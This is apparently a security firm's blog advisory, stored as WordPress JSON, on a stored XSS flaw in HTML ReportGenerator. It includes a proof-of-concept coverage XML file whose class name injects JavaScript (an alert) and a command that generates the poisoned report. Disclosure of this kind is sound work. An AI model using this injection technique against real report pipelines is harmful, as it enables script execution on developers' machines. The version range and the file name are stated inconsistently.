{"id":47071,"date":"2026-05-25T10:43:05","date_gmt":"2026-05-25T05:13:05","guid":{"rendered":"https:\/\/www.getastra.com\/blog\/?p=47071"},"modified":"2026-05-25T10:43:07","modified_gmt":"2026-05-25T05:13:07","slug":"stored-xss-in-html-report-generator","status":"publish","type":"post","link":"https:\/\/www.getastra.com\/blog\/vulnerability\/stored-xss-in-html-report-generator\/","title":{"rendered":"Stored XSS in HTML Report Generator"},"content":{"rendered":"
\n\n

Product Name:<\/strong> HTML Report Generator<\/p>\n\n\n\n

Vulnerability:<\/strong> Stored Cross-Site Scripting(XSS)<\/p>\n\n\n\n

Vulnerable Version:<\/strong> < 5.5.8<\/p>\n\n<\/div>\n\n\n

In May 2026, security researchers at Astra identified a stored Cross-Site Scripting (XSS) Vulnerability in HTML ReportGenerator, affecting versions up to 5.5.8.<\/p>\n\n\n\n

Cross-Site Scripting(XSS) is a general web security vulnerability that allows threat actors to inject malicious scripts into a web application. This type of vulnerability is mostly exploited to perform actions on behalf of the victim or to mine cryptocurrency.<\/p>\n\n\n\n

<\/span>Technical Breakdown <\/span><\/h2>\n\n\n\n

The stored XSS vulnerability was discovered during a manual security review of the HTML report-generation functionality. This flaw is very dangerous in a development environment where HTML reports are frequently generated and opened by devs from CI\/CD pipelines, shared folders, or local machines<\/p>\n\n\n\n

How was it discovered?<\/h3>\n\n\n\n

Our researcher discovered this vulnerability while examining how user-controlled coverage metadata is processed and embedded into the reports. It was observed that values like class names and assembly names from XML inputs were directly inserted into JavaScript object literals inside the generated main.js file without proper JavaScript\/JSON escaping.<\/p>\n\n\n\n

Only backslashes were allowed to escape, while quotation marks and other JavaScript metacharacters remained unsanitized. By crafting a malicious coverage XML file with a specially formatted class name, it is possible to inject arbitrary JavaScript into the generated report.<\/p>\n\n\n\n

How to replicate the vulnerability<\/h3>\n\n\n\n
    \n
  1. Install a vulnerable version before 5.5.9<\/strong>(e.g., 5.5.8)<\/li>\n\n\n\n
  2. Create an XML file <\/strong>with the code below and name it malicious-coverage.xml<\/li>\n<\/ol>\n\n\n\n
    <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<coverage line-rate=\"0\" branch-rate=\"0\" version=\"1.0\">\n  <packages>\n    <package name=\"demo\">\n      <classes>\n        <class\n          name=\"\\&quot;, &quot;x&quot;:(alert('XSS'),true), &quot;z&quot;: &quot;\"\n          filename=\"test.cs\"\n          line-rate=\"0\"\n          branch-rate=\"0\">\n          <methods\/>\n          <lines\/>\n        <\/class>\n      <\/classes>\n    <\/package>\n  <\/packages>\n<\/coverage>\n<\/code><\/pre>\n\n\n\n
    3.\u00a0Generate the report using this command. <\/p>\n\n\n\n
      <\/ol>\n\n\n\n
      dotnet ReportGenerator.dll \\\n-reports:poc.xml \\\n-targetdir:report \\\n-reporttypes:Html<\/code><\/pre>\n\n\n
      \n\n
      4. \u00a0Trigger the XSS by opening the report.<\/p>\n\n\n\n